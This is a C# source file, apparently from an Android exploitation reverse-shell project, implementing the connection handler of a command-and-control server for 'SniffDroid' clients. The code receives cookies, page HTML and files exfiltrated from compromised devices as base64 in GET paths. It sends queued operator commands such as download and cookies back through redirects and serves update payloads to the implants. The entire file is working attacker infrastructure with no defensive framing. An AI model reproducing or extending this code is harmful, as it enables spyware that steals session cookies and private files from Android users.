﻿using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Collections;
using System.Net.Sockets;
using System.IO;
using System.Threading;
using System.Net;
using System.Web;
using AndroidReverseExploitShell;

namespace AndroidExploitationReverseShell
{
    /// <summary>
    /// this class handles the single connections from SniffDroid clients
    /// the connections are abstracted in a session which stores session information
    /// between different SniffDroid connections
    /// </summary>
    public class Connection
    {
        /// <summary>
        /// the list of active sessions
        /// </summary>
        private Thread clientThread;
        private Socket clientSocket;
        private StreamReader reader;
        private StreamWriter writer;
        private bool running;

        /// <summary>
        /// this property stores the ip address of the connection
        /// </summary>
        public string IP { get; private set; }      

        /// <summary>
        /// constructor
        /// </summary>
        /// <param name="sock">the socket of the connection</param>
        public Connection(Socket sock)
        {
            clientSocket = sock;
            IPEndPoint endpoint = (IPEndPoint)sock.RemoteEndPoint;
            IP = endpoint.Address.ToString(); ;

            ParameterizedThreadStart startInfo = new ParameterizedThreadStart(RunClientConnection);
            clientThread = new Thread(startInfo);
            clientThread.Start(sock);
        }
        /// <summary>
        /// adds a new line to the log displayed on the console
        /// </summary>
        /// <param name="line">the line to add to the console</param>
        private void AddLogEntry(string line)
        {
            line = IP + ": " + line;
            Shell.AddLogEntry(line);
        }
        /// <summary>
        /// decodes a given string
        /// </summary>
        /// <param name="encoded">the base64string to decode</param>
        /// <returns>the result as string</returns>
        private string Base64DecodeString(string encoded)
        {
            byte[] buffer = Base64DecodeBytes(encoded);
            string decoded = Encoding.UTF8.GetString(buffer);
            return decoded;
        }
        /// <summary>
        /// decodes a given string in binary format
        /// </summary>
        /// <param name="encoded">the base64string to decode</param>
        /// <returns>the result in binary format</returns>
        private byte[] Base64DecodeBytes(string encoded)
        {
            encoded = encoded.Trim();

            byte[] buffer;
            try
            {
                buffer = Convert.FromBase64String(encoded);
            }
            catch
            {
                byte[] result = Encoding.UTF8.GetBytes("<ERROR>");
                return result;
            }
            return buffer;
        }
        /// <summary>
        /// encodes the given string to a base64string
        /// </summary>
        /// <param name="str">the string to encode</param>
        /// <returns>the base64 representation of str</returns>
        private string Base64Encode(string str)
        {
            byte[] buffer = Encoding.UTF8.GetBytes(str);
            try
            {
                return Convert.ToBase64String(buffer);
            }
            catch
            {
                return "<ERROR>";
            }
        }
        /// <summary>
        /// interprets a line received by SniffDroid
        /// </summary>
        /// <param name="line"></param>
        private void Interpret(string line)
        {
            if (line == null)
            {
                return;
            }

            if (line.Length > 3 && line.Substring(0, 3) == "GET")
            {
                Shell.ShowActivity();
                string[] parts = line.Split(' ');
                string url = parts[1];
                parts = url.Split('/');

                string decoded = "";
                if (parts.Length > 2) {
                    parts[2] = parts[2].Replace('_', '/');
                    decoded = Base64DecodeString(parts[2]);
                }
                
                switch (parts[1])
                {
                    case "notify":
                        Session.GetSessionByIP(IP).EndFileWrite(true);
                        break;
                    case "cookies":
                    case "html":
                        if (parts.Length > 2)
                        {
                            string data = HttpUtility.UrlDecode(parts[2], Encoding.Default);
                            if (parts[1] == "cookies")
                            {
                                AddLogEntry(data);
                                ARESBrowser.ShowURL(Session.GetSessionByIP(IP).URL, data);
                            }
                            else
                            {
                                ARESBrowser.ShowHTML(data);
                            }
                        }
                        break;
                    case "data":
                        AddLogEntry(decoded);
                        break;
                    case "file":
                        try
                        {
                            if (parts.Length > 2)
                            {
                                Session.GetSessionByIP(IP).WriteToFile(Base64DecodeBytes(parts[2]));
                            }
                            else
                            {
                                Session.GetSessionByIP(IP).EndFileWrite(false);
                            }
                        }
                        catch (Exception e)
                        {
                            Session.GetSessionByIP(IP).EndFileWrite(true);
                        }
                        break;
                    case "upload":
                        if (parts.Length > 2 && ServeFile(parts[2])) {
                            return;
                        }
                        break;
                }
            }
            if (line == "")
            {
                string data = "";
                if (Shell.Instance.Target == IP)
                {
                    string nextCommand = Shell.Instance.NextCommand;
                    string[] commandParts = nextCommand.Split(' ');

                    switch (commandParts[0]) {
                        case "download":
                            if (RequireParamCount(commandParts, 2))
                            {
                                string[] fileParts = nextCommand.Split(' ')[1].Split('/');
                                string fileName = fileParts[fileParts.Length - 1];
                            
                                Session.GetSessionByIP(IP).BeginFileWrite(fileName);

                                Shell.AddLogEntry("download started...");
                            }
                            break;

                        case "cookies":
                        case "display":
                            if (RequireParamCount(commandParts, 2))
                            {
                                Session.GetSessionByIP(IP).URL = commandParts[1];
                            }
                            break;
                    }
                    data = nextCommand;
                }

                if (data == "")
                {
                    data = "idle";
                }

                data = Base64Encode(data);

                writer.WriteLine("HTTP/1.1 302 Found");
                writer.WriteLine("Location: getdata://data/" + data);
                writer.Write("\r\n");
                
                Close();
            }
        }
        /// <summary>
        /// require that the array of commands has a specific count
        /// if less params are found an error is displayed
        /// </summary>
        /// <param name="commandParts"></param>
        /// <param name="expectedCount"></param>
        /// <returns></returns>
        private bool RequireParamCount(string[] commandParts, int expectedCount)
        {
            if (commandParts.Length < expectedCount)
            {
                Shell.AddLogEntry("Syntax: "+ commandParts[0].ToLower()+"<params>");
                return false;
            }
            return true;
        }
        /// <summary>
        /// serve the given filename for SniffDroid
        /// used by the update command in order that SniffDroid can download the update
        /// </summary>
        /// <param name="fileName"></param>
        /// <returns></returns>
        private bool ServeFile(string fileName)
        {
            fileName = "upload\\" + fileName.Replace("\\", "").Replace("..","");
            if (File.Exists(fileName))
            {
                Console.WriteLine("Servering file " + fileName);
                FileStream file = File.OpenRead(fileName);
                writer.WriteLine("HTTP/1.1 200 OK");
                writer.WriteLine("Content-Length: " + file.Length);
                writer.Write("\r\n");

                BinaryReader binReader = new BinaryReader(file);
                
                byte[] buff = new byte[512];
                int readBytes;
                while ((readBytes = binReader.Read(buff, 0, 512)) > 0)
                {
                    clientSocket.Send(buff, readBytes, SocketFlags.None);
                }
                
                reader.Close();

                Close();
                return true;
            }
            Console.WriteLine("Cannot serve file " + fileName);
            return false;
        }
        /// <summary>
        /// handles the connection to a SniffDroid client and read the data from the connection
        /// </summary>
        /// <param name="sock">the socket that represents the connection to a SniffDroid client</param>
        private void RunClientConnection(Object sock)
        {
            NetworkStream stream = new NetworkStream((Socket)sock);
            reader = new StreamReader(stream);
            writer = new StreamWriter(stream);
            writer.AutoFlush = true;
            running = true;

            try
            {
                while (running)
                {
                    //blocking call
                    string line = reader.ReadLine();
                    //connection closed
                    if (line == null)
                    {
                        Close();
                    }
                    Interpret(line);
                }
            }
            catch (Exception e)
            {
                Close();
            }
        }
        /// <summary>
        /// closes the connection and frees the resources associated with it
        /// </summary>
        public void Close()
        {
            running = false;
            NetworkService.UnregisterConnection(this);
            writer.Close();
            reader.Close();
            clientSocket.Close();
        }
    }
}
